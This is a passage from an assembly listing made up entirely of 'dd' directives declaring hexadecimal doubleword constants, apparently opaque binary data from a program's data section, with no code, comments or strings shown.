0C1A31189h, 54D70E23h, 2CB0844Dh dd 70E8153Dh, 6C50FB0Ah, 0D802CBC4h, 9902BC4Bh, 18977FCAh dd 0C09C2691h, 0DC09E7A7h, 0B90396C8h, 13CDCB18h, 0F1581FACh dd 0F27E4971h, 1C8F1481h, 5FDC3809h, 6B80E89Bh, 0E70801D3h dd 43D8C802h, 78E98C67h, 0F14C90F8h, 1616C868h, 0F294E218h dd 8957315Eh, 0F4A533CAh, 3BDD8818h, 7F021338h, 0E0D29CD0h dd 0AA98006Fh, 0BE491E99h, 4A05A8F7h, 0D07DF663h, 0B8444CEh dd 414C3262h, 0FD71A8E0h, 4AAC892h, 0F8D30CD8h, 0AC8B4F34h dd 43C089C8h, 0EDE76C9h, 0C17888B3h, 0E8A53500h, 29C29EA2h dd 0D3900966h, 0AF977898h, 0E9EB092Dh, 3F70A460h, 3C629D5Fh dd 8209B0DAh, 4023A326h, 186AE9E4h, 0E80A5BC6h, 0F1288AF9h dd 833CE48Bh, 7F3F72F4h, 2F9D0214h, 761B7ED2h, 530FDCF8h dd 0E068FBA5h, 955D0782h, 0D3490097h, 304429C3h, 0EC4B3EADh dd 3D3C0402h, 12205E91h dd 0BC88FC51h, 30008C27h, 94A1FFDEh, 386DB50h, 2B26D80Dh dd 58145C11h, 7DBC79ACh, 0C2E86797h, 3F1861BEh, 0A8DC25F8h dd 17EED052h, 0F9688364h, 60D684A0h, 14809960h, 0B6013555h dd 0F018270Bh, 3C227FF2h, 0A96F9200h, 0A253CD3Bh, 0A18B4000h dd 46F963E0h, 0FC840099h, 9826D38Fh, 0C7018EF5h, 767A0CE3h dd 0CF2BBB9Ch, 0C03B8840h, 0F508806Ch, 796CB04h, 72C276FAh dd 7400756Bh, 0A04DD05Ch, 0F9C9A230h, 277E2FCh, 0AD586B29h dd 0B0D4A71Fh, 0A03702F4h, 0C9B6C8F6h, 215EC85Eh, 3C8061BDh dd 5504DA83h, 0E227045Ah, 0AA96C2F9h, 0CBBD2C04h, 6FF2F8B2h dd 5ED5530h, 38764B2Fh, 78ECB970h, 0A5750B00h, 6C697DF1h dd 0D56D04A3h, 0FE27B3C7h, 2801020h, 7D8605CFh, 0F0A44877h dd 9C1785FCh, 843E92BEh, 843D5E23h, 0C113235Ah, 0C8F5ECA1h dd 4BDD519Dh, 385CAC0Fh, 46543068h, 1AD80726h, 0F4109C24h dd 7A9209A9h, 8C515868h, 0E62E260Ah, 0B8465ED0h, 55026D00h dd 636BA984h, 0CD2B2A12h, 0CED07CC0h, 4ED9070h, 94BF2E60h dd 546EFA2Ch, 87410603h, 1FB06156h, 0A340A62Ah, 7FCE2D6Bh dd 9029C473h, 0F8193A71h, 593925C6h, 0CD5B0723h, 0D40446C3h dd 0A3841CE3h, 4E7A46E0h, 23E40049h, 0F2A7F3BDh, 454F9C75h dd 6EEBAC84h, 37C800D4h, 74C93E09h, 441C7692h, 404E3DBDh dd 9901CA0h, 346A86FCh, 20EEC4CDh, 1F2BF141h, 4084B412h dd 38444E49h, 3D927300h, 0C13B157Bh, 82C8006Ch, 9A792018h dd 4662E22Bh, 0F2D9B2E0h, 70E09D80h, 9D690B29h, 5C54B1h dd 8A60A238h, 58126A7Ah, 0D8A6D98Fh, 0F0ACA0B0h, 85AE6305h dd 98522F89h, 0FD8F28E8h, 47B13C40h, 8800DDABh, 78713AB3h dd 975AFB2Ch, 0CE087001h, 0AA318695h, 1FA907A3h, 2720A586h dd 0E627AC02h, 67C214CDh, 923C766Dh, 23743A62h, 0DE220137h dd 28CE34E3h, 433ABC54h, 0EA5A5068h, 50393F2h, 78D58CC6h dd 0A0D81389h, 20602704h, 2589751h, 0FBF23B01h, 89A51D9Ah dd 5D50333Ah, 55E1F5F0h, 0A6374000h, 77798160h, 81849961h dd 54A8E1EAh, 6DCFE87Ah, 9772C2Dh, 11E89DE8h, 8B49825Fh dd 0A054107h, 2A704447h, 1A8231Ch, 45C069D9h, 402D1F9Eh dd 0EC858DB0h, 0DCD5874Ah, 0A2513118h, 0B1420461h, 803BB570h dd 2A5FC8B9h, 0C6620703h, 0E802F6D8h, 920D71Ch, 0A7B7F3ABh dd 7CDCF056h, 4D1FABFh, 0A14D1F1Ch, 6650C129h, 0D590203Dh dd 3EB023FAh, 64DF1A1Dh, 0D7E21C5h, 0F2C9A040h, 5D5EDF8h dd 0D07C532Ch, 84800171h, 0C0B7616Eh, 54BE2969h, 39591A50h dd 123BBBFAh, 99042680h, 68587905h, 9C774209h, 0F404485Ah dd 0B14925C8h, 26788079h, 0F8008667h, 9CFE2EF0h, 23D908Fh dd 87AF2F21h, 4469FC85h, 0C19C44F0h, 6C33C750h, 0AB5FC498h dd 8993500h, 185BD93Bh, 30F33012h, 0C63138B2h, 2D28B8D0h dd 509118FEh, 7CDA6AE7h, 3B00FCDEh, 0B92C19C5h, 7E1F7507h dd 0AB4B0998h, 68746D21h, 7486030h, 13252A43h, 0A4D00F11h dd 0A09AAF0h, 0E63B305Ah, 0D62009E7h, 0D1B4D994h, 178183Ah dd 59D4AB93h, 7B2F20EAh, 0B3BF8802h, 23C740Ah, 0A66BC8E3h dd 0E40F3602h, 91F92058h, 0C04495h, 0D8B51D2Eh, 0DE72E1A3h dd 8D9B5502h, 2718CA5h, 4849788Ah, 0F89CCDAFh, 42005EECh dd 9909AA86h, 6095A097h, 0A35AE161h, 0CE263249h, 467E8CB6h dd 18540039h, 0DAF13EE7h, 0CD8C24E0h, 87903176h, 25A61173h dd 79AEFB30h, 1A12007Fh, 48C0A974h, 99252330h, 13C4F0ABh dd 0E4F6C392h, 2B160E08h, 0D0B99CA7h, 51850B18h, 0DD0AD8CCh dd 0EC1F7F03h, 0D4DEA783h, 0E8780DA5h, 4839A9A3h, 3D158D0Ch dd 22949B84h, 0DC48BCBCh, 38CE3300h, 0FAE9EA5h, 4C2076A1h dd 662754CDh, 89118C9Fh, 82443B80h, 1007C06h, 4514A443h dd 15D5CFB0h, 0F4A6B389h, 883CCE5Bh, 8699C033h, 0D024CA08h dd 0F4016993h, 64B12B26h, 0B3138478h, 2588E88Fh, 65B8ED04h dd 294E8B8h, 7CFA085Bh, 0C0B0ED7Bh, 756B5BCh, 89DFF313h dd 0E8618E4h, 0CE75544Bh, 0F11304D7h, 0D48C0304h, 102CC0CFh dd 6F28B882h, 85A4D1DEh, 0F2089014h, 0ECFAA6D5h, 0D0A310C7h dd 4E9B3070h, 0B25B030Ch, 0B7AA99CAh, 445AEAA0h, 0F3E90A18h dd 0B8D34808h, 3B0CEE6Eh, 0A180E1A0h, 53FE73D2h, 9D60C422h dd 15109B41h, 0DF4000EDh, 556FF625h, 1A1F9C4Bh, 92CCB24Dh dd 0EA282Fh, 0E30DD93Ah, 0E76EEFA5h, 8F7AD33h, 6D210035h dd 0A0A80DE1h, 7202ED53h, 0F0649B23h, 1A1D035Ah, 0FCCDE6A1h dd 0E76E74C9h, 0A577EE18h, 0DEC77609h, 0A3836387h, 0F8100002h dd 61EA4642h, 0E0C0CECAh, 0F0406AB2h, 2E6303D5h, 264BAF0Fh dd 0EB6F0818h, 0D79F20h, 117FC4EFh, 74738D21h, 866369B0h dd 883CCEF8h, 6EC2E85Bh, 7C2099E6h, 80733677h, 6BCF0E0Ch dd 0A8A00870h, 653490h, 0E06A3177h, 86F0D2Ah, 2110A8A0h dd 747CCF03h, 40846183h, 162A660h, 4F20571Dh, 9DE28076h dd 7D1444B9h, 0EFE48164h, 0EE563D9h, 8B88730Ch, 0FCEF00DCh dd 0A9BBF0A7h, 52EA0E7Ah, 65624900h, 0A8207915h, 0AB2C00CCh dd 786DAEF4h, 751CB0A7h, 0F9C225F2h, 5FA337C6h, 0CC50B360h dd 1491E17Dh, 0B52A1200h, 0C48297Dh, 0A0312EC6h, 21CF9D08h dd 0C5B520E3h, 3117640Ah, 758B7D2h, 88C84E5Bh, 0AA16C070h dd 5400ADDBh, 0A6A2DEF0h, 0F4E01D5Dh, 2BCBE840h, 70904627h dd 0C101DD6Dh, 0E909F39Eh, 0F453B588h, 5C7F1A9h, 0A8C1D447h dd 3C21DE2Ah, 30DB8402h, 7711B534h, 99889829h, 0B59BF180h dd 4E91FD3h, 63FD4974h, 0D958985Fh, 39022F9h, 933BC4C1h dd 0FA11032Ah, 0F2846769h, 77A49EF8h, 8991991Eh, 63F04119h dd 0F00A0A18h, 0A41E614Bh, 0E1A170h, 0A3609DEFh, 908576A8h dd 96033876h, 39372C0Ch, 0A02862F4h, 2B00179Bh, 243DB474h dd 0C078D35Bh, 7327777Bh, 9817D821h, 643121FEh, 0F5A27700h dd 365C78BDh, 7DAE04D6h, 90BE1B74h, 0E5BF6C74h, 163CDC12h dd 0AC08F025h, 1177C7E7h, 18787333h, 80358896h, 1D3F770Ah dd 4674CCF0h, 4DB80F96h, 0BBA20CEh, 2F397E9h, 337F0529h dd 8C4AE19Fh, 6068BC84h, 5C4CF009h, 0BC525861h, 0C0E0A0C4h dd 0B107F76Fh, 84800D2Eh, 14876B00h, 0EC9C5281h, 774C00EFh dd 83DA74ABh, 0B50C380h, 44094DB8h, 974895CFh, 8021919Ch dd 52F3461h, 328C0367h, 74EEC989h, 0A29D1AF8h, 924FBA0Eh dd 8536A045h, 1BF0E71h, 4BC8B472h, 0F811AEF0h, 20C04C26h dd 0D540E5A6h, 84C20CC5h, 6517D7Bh, 0E87920h, 0CA7537E4h dd 70DCFE08h, 0AE92ED06h, 64044D4h, 4E3B45B4h, 8600719Ah dd 12DB5D70h, 1D33EBE2h, 18FE8A1Bh, 78DF218Dh, 3A425D0Fh dd 16AFA14Fh, 688CF81Dh, 45908B0Ch, 5AB2961Dh, 0D006281Eh dd 199E5Dh, 0E758D502h, 4979E208h, 8F21F31h, 208037F8h dd 6558FCCCh, 0AC047441h, 1109C27Bh, 813EEEC1h, 1880D5C8h dd 31B0BF94h, 0A560AC91h, 52C4C099h, 0DFE80F09h, 4F407F13h dd 0C9953260h, 90917845h, 58D981CCh, 7AD50773h, 0E088F90Ch dd 0CE592401h, 5CDB067Ch, 0E4F4398Ah, 0DE17D600h, 64BCF79Eh dd 0BC9B5063h, 501A03CCh, 0B8A488BBh, 0B800289Bh, 49DA7B87h dd 4C12EF5h, 3DFC9FE3h, 0A5A6004Ah, 3C77144h, 9A121BBCh dd 830CBC4h, 3C7F212Fh, 3DE0771h, 0A359292Bh, 88002C0Bh dd 0C906AFA2h, 9D1994h dd 0C56C20DFh, 9E23E4E7h, 31BD20DCh, 855C4934h, 4250C180h dd 0A751DF8Fh, 840CE97Bh, 297F3323h, 0DB5C12C2h, 65244C7Ch dd 3E4301B0h, 0C0713502h, 2D3143BCh, 71CD8A10h, 811C3F0Fh dd 865C46ADh, 0AE230079h, 8BEF7C56h, 0F53A9AC3h, 13307E14h dd 1107D12Eh, 20552819h, 0C944009Ch, 46B7C258h, 61DA491Ch dd 0C08B60E8h, 0FEB3144Ah, 0C901AC2Eh, 333F13E2h, 66FA1048h dd 0E8160D4Bh, 81BEA308h, 26061128h, 426CB36h, 6C590870h dd 0FBC40A07h, 5908DF40h, 0B709CC72h, 2E65066h, 88AF578h dd 30C11C8h, 0AA74A5E8h, 16110032h, 0AF390AC3h, 9E19A9D1h dd 3E08D9B7h, 0CAF72180h, 0CE60C60Ah, 35678806h, 0A615120h dd 723B5C46h, 0EF0F03C4h, 1908E804h, 98BAF7Ch, 8020934Eh dd 4FBBB4Ch, 0E9229500h, 40C91312h, 0C6A4A80Fh, 18B81A92h dd 848F1025h, 58DA81F1h, 79D10772h, 0DD88F70Ch, 4597A02h dd 56A571A0h, 4458C209h, 945C23h, 9EBC4149h, 4C9A5B3h dd 8F855Ch, 0CAEFB8D5h, 3A59362Ch, 2024BB5Eh, 66C94060h dd 48D3F388h, 7FBF2A06h, 94D70CD8h, 2C5987C2h, 4403B772h dd 55ED46DFh, 90CDE225h, 1158D660h, 88BA08E6h, 0FDC98003h dd 0CD632858h, 0FA8B804h, 0A090984Bh, 8093ED0Eh, 2F601D36h dd 0C22DD699h, 0C043547Ch, 0F26701D7h, 3679BC5Bh, 30604822h dd 9484D8AAh, 713A6006h, 0CBBC23CDh, 85003111h, 1E571D2h dd 3A0160D7h, 121559C8h, 0D980915Dh, 0FF27EDD1h, 14001EFCh dd 0AE0A9F74h, 48C568F1h, 82807432h, 4D3AFF19h, 18CF8CA1h dd 70580ADCh, 70ECEA07h, 590703CBh, 827AA4C4h, 4C4FD3D0h dd 0B158C24Eh, 0CCCD045h, 0D85D7302h, 19FE7A12h, 7BDC1084h dd 60BE005Dh, 0C5D4E063h, 9B260779h, 33937C4Ah, 0F17B1020h dd 39DE6F88h, 5CE00415h, 10C0331Fh, 4BFAB81Eh, 0B79100C8h dd 6F538EF0h, 1507C4AEh, 66AA559h, 0D95D5250h, 0DAE695h dd 0A43A41C3h, 56FF924h, 0C9AB5E00h, 0D3C1A6CEh, 0E11C0120h dd 7D787C0Bh, 0E61ED849h, 0A5401800h, 3AB5C88Ch, 152A3AC0h dd 0BF80ACBEh, 6E6F1DE7h, 131E4352h, 1880C289h, 0BAA60E16h dd 883000FFh, 0A41CB42Fh, 267185FBh, 0C5E73C00h, 4015296Fh dd 0DF5008Eh, 0F92C979Eh, 0AE00DB66h, 0C0F876DFh, 7F2785Fh dd 0F37DAD4Ah, 2CB5D041h, 8000B3ABh, 0AC2F3262h, 0F8F9C8h dd 441C480Eh, 0BE920FAFh, 62752A00h, 1DF8E66h, 696C03F2h dd 0B71A56E5h, 0F9AC000h, 1BFD82B5h, 3C0F265h, 87B411D4h dd 591F3E4Eh, 5CC05EA2h, 29244588h, 0BFFD0025h, 0A19C4C1Dh dd 181E942Fh, 0A640BAC8h, 0ADE53B81h, 18C1E29Dh, 0E08D324Eh dd 6F00B7B2h, 4936184Fh, 3A4346h, 8150288Ch, 6EADD204h dd 0CB7E2E07h, 0BA60E211h, 0E46ACE19h, 0B541332Dh, 0E0819460h dd 3B2980C7h, 1AC36FFDh, 0E6053D75h, 6E0EBE80h, 0A9841867h dd 14771F24h, 0A87E2F80h, 7ABDDAh, 0FE0489F5h, 0EB851693h dd 864F510Eh, 0E5788ED9h, 0B800CC3Ch, 6D1881CAh, 1D8C0984h dd 8C2190BBh, 60E473A2h, 0B8019D91h, 13B24E82h, 2CE471EBh dd 0D3B50037h, 0DB503631h, 0F0C7442Eh, 0B650B149h, 1B4AA53h dd 6C890720h, 0CC406024h, 9200E506h, 0F76D28ACh, 261E3886h dd 208B50C4h, 0C5C83ED0h, 10550181h, 0C03CFB67h, 501F59E4h dd 0FE5816E9h, 5C46D730h, 9A00A19Fh, 0F6B2A84Ah, 1CEA8E5Eh dd 0D4C90B00h, 6DB8205h, 635601FCh, 0D8169238h, 83B6E0CBh dd 6BF811C0h, 0F8E45D1h, 2508AD6Eh, 441E0700h, 0B850ACCFh dd 460B48E4h, 0A0C8A09Eh, 663E62B0h, 0CF6C0F07h, 58A0EE86h dd 40FA993h, 0FD7F2100h, 48DEB913h, 8AB63080h, 2BF53B68h dd 8CEF7A1Fh, 5E77843Ch, 53B83122h, 4BC74100h, 0ACA491E9h dd 9C462700h, 59254A4Fh, 0BC7E1F8Ch, 0C1818060h, 6C683677h dd 58BA1F30h, 50739003h, 0F39C4Fh, 912FC372h, 0DFB43C33h dd 7AB5FD00h, 847D0871h, 0B0ECA0C4h, 93C9C5EEh, 0BC420E4h dd 0D0127C03h, 840CCB5h, 1B278F4Ch, 234100CDh, 6F6844C6h dd 8439ECF1h, 72E803F3h, 0E8C14F97h, 3DDC863Fh, 3AB77752h dd 1A873041h, 93638273h, 0A1E5F778h, 0C8828955h, 0C360F47Fh dd 0A600BC50h, 420E193h, 561B8Ch, 0AC323E26h, 912A9406h dd 5C081600h, 8F01E79Ah, 0F0BC6072h, 0CA1977F2h, 5F0BC300h dd 0FAD1B734h, 3CEF0156h, 5E0111E0h, 0E1419E60h, 5956D40h dd 18CF6189h, 0A8CED3E2h, 17008C53h, 594A8651h, 3F23A58Fh dd 73006A08h, 0E8FED2D0h, 9B00A14Ch, 89A48421h, 0B9F7FAh dd 0F9D172A6h, 0B1CF5EE7h, 250075E4h, 67C19805h, 183EE0B9h dd 11B653FFh, 600FD42h, 75B06376h, 62FE4Eh, 0EFF701E3h dd 39A0DA25h, 8F377D00h, 934B4D15h, 831000D5h, 35E8D212h dd 0AD05A4C7h, 705713E0h, 7E4F9C40h, 18B52B62h, 98EBAA19h dd 0CA0E85ABh, 206B933Eh, 7E388C46h, 0B1B50F5Dh, 0A4A0C31Eh dd 5C611331h, 7C08250Fh, 800ECEB8h, 0DF468B5Ah, 1797687h dd 0CD4DAFE3h, 0C09F6578h, 89005836h, 0ADA2E54Ch, 2ACA34C0h dd 0E0836Ch, 7375C932h, 464A89DDh, 289A9600h, 0FA88BC38h dd 0CA4D3C2Bh, 7EE8E287h, 1005224Bh, 8D39C0D7h, 0FA273E96h dd 0BD766383h, 94C8912Bh, 0B901464Bh, 99580E72h, 0C8609D56h dd 41A7021Ch, 3AA03F2Dh, 9884A260h, 450511FCh, 698AEC07h dd 0EEF19890h, 31A00265h, 29DADBFBh, 0E7F80440h, 0DF006272h dd 87B558BCh, 0B82DCBh, 0E3B07C17h, 0CD08B3Dh, 3BEC8470h dd 54D6FF1Ch, 0E7C89901h, 0E44057C2h, 83DD4Dh, 5E95EE09h dd 0BF518241h, 93CFA500h, 28C8E059h, 89DA001Ch, 4D3B474Eh dd 3D169013h, 700065D2h, 0AAA59709h, 7BC0B2B5h, 0F3810245h dd 35B8CB53h, 90075B63h, 0CB975BDh, 2488C260h, 3D4BE887h dd 2EFD0A99h, 0C2DBA8h, 0AFD18FF2h, 0C4EA3DD6h, 5A41DA00h dd 7311DE8Ah, 0F04A0B9Dh, 0FF00E427h, 26A99A8Eh, 3932A302h dd 0C07C2065h, 1E5A8E8h, 0E1A79277h, 0DC69CAECh, 6409E344h dd 1883A22Eh, 0FA65B34h, 22D6B9FDh, 0E9A49A0h, 8E00F2AFh dd 2957D434h, 3DE94h, 4DC00C87h, 0F699693Ch, 8F56CF00h dd 0DCCCD40Ah, 44F08Ch, 0A415BD7Fh, 0C7CB3CBFh, 3D0252B8h dd 969A3849h, 2ECC408Dh, 0ECCF00C9h, 4130C62Ah, 2330A353h dd 47AFECC4h, 0BA5A0F1Ch, 282221A2h, 5F40B3E8h, 0E2002D4Fh dd 382FD348h, 0F832EDACh, 3C252EC0h, 7A1503E7h, 60F057EBh dd 0FA00A9E0h, 328A2AC9h, 39099A05h, 0D5005ADEh, 0AB91DC57h dd 0C054ED9h, 49423292h, 90268C90h, 0D0790060h, 2E69E462h dd 0E2005497h, 0EFAA8224h, 0A69574h, 2F9283EBh, 4AE18404h dd 6F4F8F00h, 77678852h, 0D0A0495Ah, 0C2B01700h, 0CBAD315Fh dd 0CE4EF004h, 0B08376B7h, 88FE9B13h, 37205F12h, 0C080996Dh dd 0AD8B5719h, 9DA9E13Bh, 0CF1D89AFh, 60C43A04h, 0EBB7BCB4h dd 0BE001839h, 0BCC21293h, 0D00013DBh, 0D30B587Bh, 0B0FB9Bh dd 4C5F734Fh, 5EC14E9Eh, 99C4450Ah, 0D3008596h, 0E40E57B7h dd 1C37C61h, 9E503A49h, 0CC2BB0E7h, 6900C93Bh, 99721DA9h dd 3D7D076Eh, 2E8CB6CCh, 0C87046C5h, 324BCA01h, 7FE3A11h dd 0A18C66E4h, 0B0293354h, 0FE4A1D04h, 7D2BC0DBh, 0EA0EA63Ah dd 0C0294640h, 5D205BAEh, 43AA0357h, 5F3189A7h, 0CE08BFF0h dd 4DF52501h, 1ED0E809h, 0C68CF8h, 2D90F805h, 0D635F3EAh dd 5FA53100h, 0BAB2BC88h dd 62B0002Eh, 145C3694h, 1300C882h, 9DDA6028h, 0D495E7h dd 0E9BE39B6h, 0CADFE4D0h, 3BE8CD0Eh, 0B72A401Ah, 0FAA785h dd 0FF30FC80h, 65E2C996h, 56192218h, 0DBF212h, 2EFE331Eh dd 9A35D754h, 0DDF5AB00h, 0F89593AEh, 0BA7A49h, 2F373AF1h dd 0C25AC9CDh, 73CF6401h, 17458932h, 4D39002Dh, 23583D45h dd 5D6C00CFh, 0FE8212FFh, 0DB10EF86h, 7C005D74h, 72CA0667h dd 0AF9319h, 0A75F1AD7h, 0EF9A394Dh, 8192CC27h, 89C19510h dd 1807A834h, 18A9627Bh, 3C07C917h, 53E8140h, 3B0AC2h dd 796C316h, 1C5CCC28h, 0D4DA6A00h, 0C78381E5h, 4B257CB5h dd 0FFCC30D6h, 7236D58h, 3EF611F2h, 0A35980E2h, 0E674E312h dd 0CDE9036Ah, 2A9D92DCh, 0A5E89FD0h, 34307A4Fh, 74370AC1h dd 42448CAFh, 0AC805F1h, 0A48968B5h, 912C1EE4h, 3942EBh dd 67AA6B8Bh, 4037A72h, 2401FA57h, 11C48026h, 0F8DD1555h dd 0F0F8B387h, 0C4082EE5h, 5D6DC2D2h, 588AD841h, 0E68881C4h dd 0D55D0075h, 901D4B88h, 0D60BC0CEh, 454865B2h, 67FBE4CCh dd 6BC27DE4h, 85CD140h, 60E71F3h, 5B19383Eh, 8F50312h dd 107A5F96h, 99AF42C0h, 1728A92Dh, 80FA1104h, 6D1888C6h dd 4828489Ch, 0FE8C84ECh, 0A7A00040h, 0E911D0BEh, 0AA2AC6B4h dd 2C00ACF5h, 0A13A0C74h, 0D6A7F2BCh, 0C8D48B18h, 7049C090h dd 0A324053Fh, 1182585Ah, 0A148AD19h, 0AF019BE8h, 178C3908h dd 10D55EE6h, 8F8830C6h, 5D6EDD80h, 12BCDA75h, 44766784h dd 5D4613DCh, 650F4E1Eh, 0D6AC035Bh, 1B80009Fh, 93015A67h dd 525BA8D3h, 9B4E5406h, 0C4C70459h, 0C046A4B4h, 111C3A74h dd 0B02AA531h, 0FC6D2D52h, 7F44CE10h, 2B7CB11Ah, 11E81D20h dd 787780F8h, 6FC10D3h, 6B1A8775h, 284F219Fh, 0FB23A82Eh dd 276EAA00h, 885517h, 0B5429D19h, 9FFD1F46h, 2DE048D4h dd 43141803h, 0BCC61071h, 3B88E033h, 489D0071h, 0F74E81F6h dd 0A005E729h, 6A97634Ah, 66B1BC00h, 5015B70Ch, 74B2909Dh dd 76F0BCCAh, 73018346h, 0F84BE162h, 3906E43Dh, 60CC342Ah dd 83818E1h, 3BBCC371h, 8B0071CFh, 0B04F71D0h, 0D24D7B08h dd 906800A8h, 0FED1ADEEh, 409F280Ch, 8CC096F8h, 0B391914Fh dd 8D8AC000h, 66C62CD8h, 0A8DE1648h, 7BB8C822h, 0AC42E8Ch dd 62C9130Ch, 0F0201984h, 980ACBh, 816FF558h, 492CA57Bh dd 0F262B30Bh, 4044CA01h, 4410C17Ch, 0E2C9B3Ch, 68110A1h dd 4678B098h, 643C68E6h, 457D4057h, 75031F42h, 954EB307h dd 0DFC83802h, 0CDB15913h, 43A7C160h, 0B5123038h, 7B00F9FAh dd 88E306BFh, 188C0A2Fh, 79791A45h, 10E896C2h, 18103D5Eh dd 8C31E8D8h, 68470400h, 0D89FC7BEh, 762705D1h, 0B27A3207h dd 3030F274h, 0B63E1EBDh, 0E5BF072Ah, 0A8952E9Fh, 46A880C9h dd 3D5D1D34h, 3F5E07D5h, 746680D4h, 4350A910h, 9C0991C4h dd 208D5C4Dh, 580AD7C8h, 0E00700D1h, 8125EBB7h, 0DA0FC47Eh dd 83ACCE7Dh, 93F636Fh, 1314BC89h, 5852B852h, 3033E264h dd 1300BBA3h, 0C52A6D88h, 99493D70h, 368ED014h, 0A75B2486h dd 72B4038h, 0F801639Dh, 0A308D0CCh, 0C5024176h, 7EC36CC0h dd 6B2CF983h, 0FABCF46Ch, 0DE13008Ch, 296A178Ah, 6D3A5CB7h dd 844EA833h, 813DFD21h, 0BCC47141h, 0B0F07C23h, 71397Eh dd 16388A8Bh, 175CC31Eh, 0A0BC8358h, 4C7356CCh, 0EE796CBCh dd 0D444317Ah, 63130358h, 3087A29Ch, 0E6039CA3h, 0EEAE2BD2h dd 0F95A9A98h, 0BA748194h, 602F355Dh, 3D41DD74h, 4312A430h dd 3084E23Ch, 0D3025AECh, 24F4B7B5h, 0A244C8A9h, 0E028F295h dd 5816E66Ch, 4C0278A0h, 0D439E7A9h, 0F911D49Dh, 43C4CE80h dd 6107DFD8h, 3F91C944h, 9D9619E7h, 0E8E50548h, 909CF6A4h dd 333CB9E8h, 0F0280B83h, 0A89725EDh, 35800391h, 0E14487DDh dd 9D276D01h, 67317732h, 2431FDE5h, 8CF74441h, 68EEC900h dd 1318FF64h, 5C588CADh, 6E91500h, 60B91271h, 5F16CCB2h dd 7C3A9F4Eh, 35003023h, 51A814C3h, 525439E8h, 0CD9D0209h dd 4F3F8403h, 49D440B5h, 0BABD12F3h, 0B63C9100h, 0D741734Ch dd 5220F967h, 58A27EB8h, 1ABC18E9h, 2B7D008Ch, 23695890h dd 0B50FED22h, 56F106C8h, 1F6DF000h, 2578D37Ch, 0B0C8B963h dd 608F450Ch, 9313E496h, 0E0EF4908h, 381DE9EEh, 67370308h dd 0F05DE7A8h, 0C7DD2897h, 0B0A4C201h, 0D7366744h, 300999E3h dd 0A7C9F983h, 0E1E860CAh, 0AC2592ECh, 0C418E774h, 52716182h dd 84DF20h, 0B4BA900Eh, 46B8C1BFh, 0E0401B4Ah, 9BA3A9C4h dd 4F8918E9h, 61764198h, 0D926200h, 0D3F1A07Bh, 8A4012FEh dd 21F0E233h, 18F7F955h, 8403006Dh, 0CAF361F4h, 7C13462Ch dd 0B842742Fh, 0E1365310h, 0CE187534h, 0AF380A08h, 4043C4D9h dd 640AD5F6h, 1912098Bh, 84004779h, 45B372E5h, 2A03C56h dd 12D45EE7h, 108731DAh, 715D6FE0h, 0D0F0062h, 18564329h dd 0C8909AB4h, 18777320h, 303D69FBh, 0ED61BF95h, 9EC891E1h dd 4A90202Fh, 5D7B273Ch, 4C9698A6h, 0F94656h, 32820D7h dd 733906E0h, 0CB264B12h, 0C70388F4h, 8D82B24Ch, 0E74C3C0h dd 0CA996D12h, 12C8F8E0h, 1F2151Eh, 4F0CFE7Ch, 5BE88E89h dd 7116E9BAh, 0F930007Ch, 8FE985CDh, 9829772Ch, 908B5F13h dd 5DC13CC8h, 44204FC6h, 0FC3E12AAh, 0BCF8E28Ch, 7C058C3Ch dd 0C46C52Bh, 0FDC95C88h, 38536466h, 84301BA2h, 772A3913h dd 42C51100h, 0B8A4CA01h, 5C01084Fh, 39DECB07h, 40203711h dd 1064CC30h, 6F782F64h, 428C0264h, 3C91A9AFh, 0CFEC103Fh dd 787000Ah, 0C7DC6B8Ch, 0FF54C094h, 8891AAF4h, 68828803h dd 341DA818h, 11B148C2h, 2B936F07h, 7B4618Dh, 0EC8C4A6h dd 2CC1454Bh, 0E82D25E6h, 0BA00E3ACh, 0A5D20B3Ah, 25C912BBh dd 7CE70CB8h, 1A62F964h, 286739E1h, 167A2220h, 1F87FC66h dd 0E75C0900h, 5B6580C8h, 0B2342552h, 2B5730F8h, 0C3DA2C0Ch dd 4E11B868h, 0E67CC4E1h, 439BE054h, 0A3720286h, 5C2F9D91h dd 0CE80A85Eh, 0F0096BD5h, 0FB8E1C8Fh, 462D89A8h, 0C8134205h dd 92124CF4h, 0B4408BCAh, 0DFFBEF1Bh, 0A8DA2547h, 30005C2Fh dd 32E476BDh, 7706BB16h, 0FC0FC04h, 0DC4CA50Bh, 84717C91h dd 4600A018h, 0AEB72F24h, 475925Fh, 0F3639CA4h, 1ECB0180h dd 403B9079h, 0B6536580h, 0BA0074CFh, 13377721h, 91E9FE4Ah dd 183E79A8h, 5E400B4h, 2ED7FBCFh, 273764C2h, 0C5877875h dd 0BBF0B517h, 5C665936h, 0C93980B1h, 2C981E4Eh, 1C04F448h dd 801E4E26h, 0D4662380h, 11349285h, 2C74DF64h, 184C9C18h dd 888A5287h, 15A96D04h, 0BC34F89Dh, 1E398C38h, 9E7612E6h dd 2CC80CCBh, 0DC5D9DC0h, 0D0F716C5h, 55A0000Fh, 98CA75CFh dd 1623DE0Ah, 46562CE4h, 0D7290030h, 0DB1B08A4h, 0CC4102C0h dd 9FCB9180h, 0C4111849h, 98910DBDh, 94485B3Dh, 0AC7C378h dd 3CB1AFA9h, 40F3B210h, 32A6E0Ch, 0CA802D95h, 0A2E5FF23h dd 36D60EC4h, 0D431581Dh, 83B10916h, 0B08187BDh, 143C27Bh dd 6033FAA5h, 0D330FCA2h, 110E1644h, 3C9C8D55h, 8C8EBCD0h dd 7365101Fh, 0A3329905h, 9FB66097h, 0B7433C91h, 13AAEA92h dd 0ED4B218h, 6098EB3Fh, 55B2F5D7h, 1399720Fh, 53770CBDh dd 0C8C3C80h, 299AE221h, 183F71B8h, 9078A3h, 94C0D4B2h dd 65469B06h, 620A5562h, 0B7848BA8h, 81530040h, 8FB8032h dd 0C3B43805h, 0CC25B694h dd 0C4A3DC01h, 446C37BEh, 0A116AF0Bh, 9EE5E040h, 4E7B27h dd 40F41120h, 4415C49h, 3A5CB10h, 917444B7h, 64CA98B2h dd 0A73E17C3h, 0C9C80489h, 494240E8h, 0B5E7EC67h, 0BAA8CC03h dd 6E984140h, 0AC5078Ch, 0BB21AF43h, 0ED00E8C5h, 6EE50ACCh dd 0ACB9281Eh, 2C2397E0h, 0D9008F5Dh, 6D6527AFh, 28593h dd 6FC1AEACh, 0C5F56946h, 60925728h, 5C2D3678h, 117C9FDBh dd 73EF80FAh, 34251070h, 0FA9B09h, 7CC85D98h, 3E698553h dd 0B51460A1h, 0EC13557Ah, 0BDE8706Dh, 879FA902h, 9A6EC3h dd 35A1AB1Bh, 2546A616h, 0C405F86Eh, 8C2D334Ch, 0C80E1798h dd 0C03E0851h, 0B72A20A8h, 894C074Fh, 